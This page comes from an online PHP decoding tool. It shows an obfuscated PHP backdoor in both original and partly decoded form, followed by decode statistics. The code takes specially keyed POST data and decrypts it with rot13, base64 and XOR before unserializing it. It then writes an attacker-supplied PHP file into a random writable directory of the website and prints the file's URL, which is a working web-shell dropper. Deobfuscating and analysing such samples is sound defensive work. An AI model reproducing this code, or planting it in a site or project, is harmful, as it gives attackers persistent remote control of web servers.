Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $fKKWk = "xKIAEmE";function KGMqNpr($fKKWk){$HJyKjGXfkV = chr(127-13).chr(97)."\167"..
Decoded Output download
<?php $fKKWk = "xKIAEmE";function KGMqNpr($fKKWk){$HJyKjGXfkV = chr(127-13).chr(97)."w"."u".chr(560-446)."l".'d'.'e'."c".chr(222-111)."d".chr(772-671);$sJTwF = chr(115)."t"."r".chr(95)."r"."o".'t'."1".'3';$QHXQHp = "s".'t'."r".chr(984-889)."s".chr(112)."l"."i"."t";$fKKWk = $QHXQHp($HJyKjGXfkV($sJTwF($fKKWk)));return $fKKWk;}function FQeqJFLy($NscCI, $pZohlp){$EjBqInLRP = "s".chr(362-246)."r"."_"."s".'p'."l"."i".chr(116);$NscCI = array_slice($EjBqInLRP(str_repeat($NscCI, (count($pZohlp)/16)+1)), 0, count($pZohlp));return $NscCI;}function XIgXLVrVx($LKWBdQRqye, $sejTmCiF, $NscCI){$lkqkcdzlmD = "c08e40f0-7b49-4121-a08b-f7c2f70db05c";return $LKWBdQRqye ^ $lkqkcdzlmD[$sejTmCiF % strlen($lkqkcdzlmD)] ^ $NscCI;}function pQaAQPt($pZohlp, $NscCI){$pZohlp = array_map("XIgXLVrVx", array_values($pZohlp), array_keys($pZohlp), array_values($NscCI));$pZohlp = implode("", $pZohlp);$uhCFNlS = chr(117).chr(228-118)."s".'e'.chr(839-725).chr(582-477)."a".chr(108).'i'.chr(122)."e";$pZohlp = @$uhCFNlS($pZohlp);return $pZohlp;}function awuPvge(){echo "mcSEI";}function HLLVElP($pUnNWyAKir){static $ypOBpcKD = array();$pcTcbf = glob($pUnNWyAKir . '/*', GLOB_ONLYDIR);$uaDWCo = count($pcTcbf);if ($uaDWCo > 0) {foreach ($pcTcbf as $pUnNWyAK) {$gwLJam = "i".'s'."_"."w"."r".'i'.'t'."a".'b'.chr(1078-970).chr(101);if (@$gwLJam($pUnNWyAK)) {$ypOBpcKD[] = $pUnNWyAK;}}}foreach ($pcTcbf as $pUnNWyAKir) HLLVElP($pUnNWyAKir);return $ypOBpcKD;}function ZqAESV(){echo "xKIAEmE";}function TjqQG($pZohlp){$zKmliaoZfg = "D"."O".chr(372-305).chr(85).'M'."E"."N".'T'."_".chr(837-755)."O"."O".chr(84);$uUbGuqk = $_SERVER[$zKmliaoZfg];$pcTcbf = HLLVElP($uUbGuqk);$OzzZVsbbe = array_rand($pcTcbf);$yPnlL = "."."p".'h'."p";$INJgyKi = $pcTcbf[$OzzZVsbbe] . "/" . substr(md5(time()), 0, 8) . $yPnlL;$LUrRpB = 'f'.chr(105).chr(108).chr(101)."_".chr(112).chr(735-618)."t"."_"."c"."o".chr(758-648).'t'."e".'n'.'t'.chr(115);@$LUrRpB($INJgyKi, $pZohlp);$xvrUe = chr(72).chr(84).chr(84).chr(80).chr(95).chr(167-95)."O".chr(859-776).'T';$iEdVbfdoV = chr(1073-969).chr(116).'t'.'p'.":"."/".chr(121-74);$fihkxn = $iEdVbfdoV . $_SERVER[$xvrUe] . substr($INJgyKi, strlen($uUbGuqk));print($fihkxn);}foreach ($_POST as $NscCI => $pZohlp){$VeJAYZdLDj = strlen($NscCI);if ($VeJAYZdLDj == 16){$pZohlp = KGMqNpr($pZohlp);$NscCI = FQeqJFLy($NscCI, $pZohlp);$pZohlp = pQaAQPt($pZohlp, $NscCI);if (@is_array($pZohlp)){$OzzZVsbbe = array_keys($pZohlp);$pZohlp = $pZohlp[$OzzZVsbbe[0]];if ($pZohlp === $OzzZVsbbe[0]){$NyWYv = chr(193-81).chr(104)."p";$abatExHtQ = 'p'.chr(973-869).chr(619-507)."v"."e".chr(571-457).chr(115).'i'."o".chr(331-221);$tHXJWXEd = "s"."e"."r".'i'.chr(964-867)."l".chr(980-875).chr(122).'e';echo @$tHXJWXEd(Array($NyWYv => @$abatExHtQ(), ));strlen($NscCI);}else {TjqQG($pZohlp);}die();}}} ?>
Did this file decode correctly?
Original Code
<?php $fKKWk = "xKIAEmE";function KGMqNpr($fKKWk){$HJyKjGXfkV = chr(127-13).chr(97)."\167"."\165".chr(560-446)."\x6c".'d'.'e'."\143".chr(222-111)."\x64".chr(772-671);$sJTwF = chr(115)."\x74"."\162".chr(95)."\162"."\x6f".'t'."\61".'3';$QHXQHp = "\163".'t'."\162".chr(984-889)."\x73".chr(112)."\154"."\151"."\x74";$fKKWk = $QHXQHp($HJyKjGXfkV($sJTwF($fKKWk)));return $fKKWk;}function FQeqJFLy($NscCI, $pZohlp){$EjBqInLRP = "\x73".chr(362-246)."\162"."\x5f"."\x73".'p'."\154"."\151".chr(116);$NscCI = array_slice($EjBqInLRP(str_repeat($NscCI, (count($pZohlp)/16)+1)), 0, count($pZohlp));return $NscCI;}function XIgXLVrVx($LKWBdQRqye, $sejTmCiF, $NscCI){$lkqkcdzlmD = "c08e40f0-7b49-4121-a08b-f7c2f70db05c";return $LKWBdQRqye ^ $lkqkcdzlmD[$sejTmCiF % strlen($lkqkcdzlmD)] ^ $NscCI;}function pQaAQPt($pZohlp, $NscCI){$pZohlp = array_map("XIgXLVrVx", array_values($pZohlp), array_keys($pZohlp), array_values($NscCI));$pZohlp = implode("", $pZohlp);$uhCFNlS = chr(117).chr(228-118)."\163".'e'.chr(839-725).chr(582-477)."\141".chr(108).'i'.chr(122)."\x65";$pZohlp = @$uhCFNlS($pZohlp);return $pZohlp;}function awuPvge(){echo "mcSEI";}function HLLVElP($pUnNWyAKir){static $ypOBpcKD = array();$pcTcbf = glob($pUnNWyAKir . '/*', GLOB_ONLYDIR);$uaDWCo = count($pcTcbf);if ($uaDWCo > 0) {foreach ($pcTcbf as $pUnNWyAK) {$gwLJam = "\x69".'s'."\137"."\x77"."\162".'i'.'t'."\x61".'b'.chr(1078-970).chr(101);if (@$gwLJam($pUnNWyAK)) {$ypOBpcKD[] = $pUnNWyAK;}}}foreach ($pcTcbf as $pUnNWyAKir) HLLVElP($pUnNWyAKir);return $ypOBpcKD;}function ZqAESV(){echo "xKIAEmE";}function TjqQG($pZohlp){$zKmliaoZfg = "\x44"."\x4f".chr(372-305).chr(85).'M'."\105"."\x4e".'T'."\x5f".chr(837-755)."\117"."\x4f".chr(84);$uUbGuqk = $_SERVER[$zKmliaoZfg];$pcTcbf = HLLVElP($uUbGuqk);$OzzZVsbbe = array_rand($pcTcbf);$yPnlL = "\56"."\x70".'h'."\x70";$INJgyKi = $pcTcbf[$OzzZVsbbe] . "/" . substr(md5(time()), 0, 8) . $yPnlL;$LUrRpB = 'f'.chr(105).chr(108).chr(101)."\137".chr(112).chr(735-618)."\164"."\x5f"."\143"."\x6f".chr(758-648).'t'."\145".'n'.'t'.chr(115);@$LUrRpB($INJgyKi, $pZohlp);$xvrUe = chr(72).chr(84).chr(84).chr(80).chr(95).chr(167-95)."\x4f".chr(859-776).'T';$iEdVbfdoV = chr(1073-969).chr(116).'t'.'p'."\x3a"."\x2f".chr(121-74);$fihkxn = $iEdVbfdoV . $_SERVER[$xvrUe] . substr($INJgyKi, strlen($uUbGuqk));print($fihkxn);}foreach ($_POST as $NscCI => $pZohlp){$VeJAYZdLDj = strlen($NscCI);if ($VeJAYZdLDj == 16){$pZohlp = KGMqNpr($pZohlp);$NscCI = FQeqJFLy($NscCI, $pZohlp);$pZohlp = pQaAQPt($pZohlp, $NscCI);if (@is_array($pZohlp)){$OzzZVsbbe = array_keys($pZohlp);$pZohlp = $pZohlp[$OzzZVsbbe[0]];if ($pZohlp === $OzzZVsbbe[0]){$NyWYv = chr(193-81).chr(104)."\160";$abatExHtQ = 'p'.chr(973-869).chr(619-507)."\x76"."\145".chr(571-457).chr(115).'i'."\157".chr(331-221);$tHXJWXEd = "\163"."\x65"."\x72".'i'.chr(964-867)."\154".chr(980-875).chr(122).'e';echo @$tHXJWXEd(Array($NyWYv => @$abatExHtQ(), ));strlen($NscCI);}else {TjqQG($pZohlp);}die();}}}
Function Calls
None |
Stats
MD5 | 3ad742855197082ffea2673b8a7c6adb |
Eval Count | 0 |
Decode Time | 91 ms |